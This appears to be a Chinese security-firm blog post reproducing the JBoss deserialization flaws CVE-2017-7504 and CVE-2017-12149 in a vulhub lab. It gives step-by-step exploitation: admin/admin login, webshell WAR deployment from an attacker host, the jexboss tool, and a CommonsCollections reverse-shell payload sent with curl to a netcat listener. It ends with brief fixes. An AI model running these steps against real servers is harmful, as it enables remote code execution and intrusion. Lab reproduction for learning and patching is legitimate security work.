CVE-2017-7504CVE-2017-12149 JBOSS反序列化漏洞

Posted 新疆海狼科技有限公司

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2017-7504CVE-2017-12149 JBOSS反序列化漏洞相关的知识,希望对你有一定的参考价值。

想学习交流网络安全技术吗?
文末扫码入群
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

0x01漏洞简介

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

2017年5月19日发布了关于JBOSS反序列化漏洞的风险通告,该漏洞编号为CVE-2017-7504。

CVE-2017-7504

JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

 

2017年8月1日发布了关于JBOSS反序列化漏洞的风险通告,该漏洞编号为CVE-2017-12149。

CVE-2017-12149

该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

0x02风险等级

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

漏洞评定结果如下:
评定方式 等级
威胁等级 严重
影响面    广泛
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

0x03 漏洞详情

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。默认情况下访问 
http://ip:8080/jmx-console
就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马具有安全隐患。

CVE-2017-7504

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

 

CVE-2017-12149

漏洞影响5.x和6.x版本的JBOSSAS。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。


CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

0x04 知识拓展

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

J2EE:的全称是Java 2 Platform Enterprise Edition,它是由SUN公司领导、各厂家共同制定并得到广泛认可的工业标准,或者说,它是在SUN公司领导下,多家公司参与共同制定的企业级分布式应用程序开发规范。目前,J2EE是市场上主流的企业级分布式应用平台的解决方案。
 
LGPL:一般指GNU宽通用公共许可证。是一个广泛被使用的自由软件许可协议条款,最初由理查德·斯托曼(Richard Matthrew Stallman)为GNU计划而撰写。
 
EJB:Enterprise Java Beans技术的简称, 又被称为企业Java Beans。这种技术最早是由美国计算公司研发出来的。EJB技术的诞生标志着Java Beans的运行正式从客户端领域扩展到服务器领域。在电子商务领域运用EJB技术可以简化应用系统的开发, 这是由该技术的结构和特点所决定的。
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

0x05 影响版本

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

CVE-2017-7504
JBoss4.x及之前版本

CVE-2017-12149
JBoss5.x和6.x版本
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

0x06漏洞环境搭建

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

测试环境
JBoss版本:JBoss3.2
靶机:Ubuntu18.04.1  
IP: 192.168.217.133
攻击机:kali5.6.0 
IP: 192.168.217.134
 

Vulhub中有CVE-2017-7504、CVE-2017-12149相关环境,所以可以直接用vulhub的环境。

1、在线靶场
   
     
     
   
http://vulfocus.fofa.so
2、本地vulhub环境搭建,使用vulfocus靶场一键启动搭建本漏洞环境。
1)安装docker
   
     
     
   
curl -s https://get.docker.com/ |sh
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
2)安装 docker-compose
   
     
     
   
pip install docker-compose

注:有 pip 后即可直接使用 pip 安装 docker-compose,如果环境中没有pip,还需先安装pip,在这里就不演示pip的安装了

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
3)验证是否安装成功
   
     
     
   
docker-compose -V
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
4)Github上下载vulhub包
   
     
     
   
git clone https://github.com/vulhub/vulhub.git
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
3、CVE-2017-7504漏洞环境启动
1)进入漏洞目录
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
2)自动化编译环境
   
     
     
   
docker-compose build
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
3)启动整个漏洞环境
   
     
     
   
docker-compose up -d
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
4)查看运行端口
   
     
     
   
docker ps
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
5)打开下面网址,可以访问,环境搭建成功。
   
     
     
   
http://192.168.217.133:8080
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
4、CVE-2017-12149漏洞环境启动
如上,打开下面网址,可以访问,环境搭建成功。
   
     
     
   
http://192.168.217.133:8080
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

0x07漏洞复现

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

1、CVE-2017-7504
方法一:通过远程木马部署,使用冰蝎进行连接
1)   打开页面,发现 jmx-console ,命令行访问,点进去。
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
2)   需要用户名密码,猜测是admin/admin
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
3)   登陆成功,如下图所示:
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
4)   点击jboss.deployment进入应用部署页面:
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
5)   进入应用部署界面后,通过addurl参数进行木马的远程部署,在ParamValue部分填写远程服务器上的木马的地址,如下图所示:
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
6)   这里用kali的apache2来传马,如下是在kali的apache2上部署木马:
  •  启动apache2
   
     
     
   
Service apache2 start
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
  •   制作war大马
将要制作的文件放入jdk目录下的bin目录,进入目录,打开cmd命令行,执行jar cvf test.war shell.jsp命令,如下图所示:
注:test.war是你要做出了的war文件,shell.jsp是提前准备的jsp木马文件
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
  •    将war大马 放在/var/www/html目录:
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
7)   然后就是在ParamValue处填写kali上木马的地址,我这里就填写
   
     
     
   
http://192.168.217.135/test.war
,然后就点Invoke,回显一下页面。
注:192.168.217.135是kali的ip地址。
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
8)   在jboss上访问已经上传的木马的地址,后面的test就是前面部署的war包的名字:
http://192.168.217.133:8080/test
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
9)   看到了shell.jsp,说明木马上传成功,使用冰蝎进行连接,连接成功,如下图所示:
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

方法二:Jboss工具(kali)
1)Jboss工具的安装及使用方法:
工具下载
   
     
     
   
git clone https://github.com/joaomatosf/jexboss
工具运行
   
     
     
   
python3 jexboss.py
出现以下界面表示可以正常使用:
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
2)输入:
   
     
     
   
python3 jexboss.py -u 192.168.217.133:8080
,执行命令后出现下面的界面就说明存在漏洞:
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
3)输入yes后,工具自动进行漏洞利用,利用成功会出现shell的命令行,可执行相关命令,如下图所示:
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
2、CVE-2017-12149
1)该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化:
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
方法一:Jboss工具(windows10)
下载地址:
https://github.com/yunxu1/jboss-_CVE-2017-12149
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
方法二:使用JavaDeserH2HC工具(kali)
下载地址:
http://scan.javasec.cn/java/JavaDeserH2HC.zip
1)进入JavaDeserH2HC工作目录:
2)攻击机下载执行执行生成二进制payload文件:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
3)修改接收shell的IP和端口:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.217.135:7777
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
4)NC开启监听:
nc -vv -l -p 7777
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
5)向被攻击服务器发送攻击payload:
curl http://192.168.217.133:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞
6)成功反弹shell  
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

0x08修复建议

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

1、对jmx控制页面访问添加访问验证。
2、进行JMX Console 安全配置。
CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

往期回顾:




欢迎加入海狼技术交流群:

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

海狼科技官方微博:

CVE-2017-7504、CVE-2017-12149 JBOSS反序列化漏洞

如果您遇到 网络安全 问题
欢迎致电: 0991-8156363
或发送至: sudo@xjsec.cn
新疆海狼科技,您身边的网络安全助理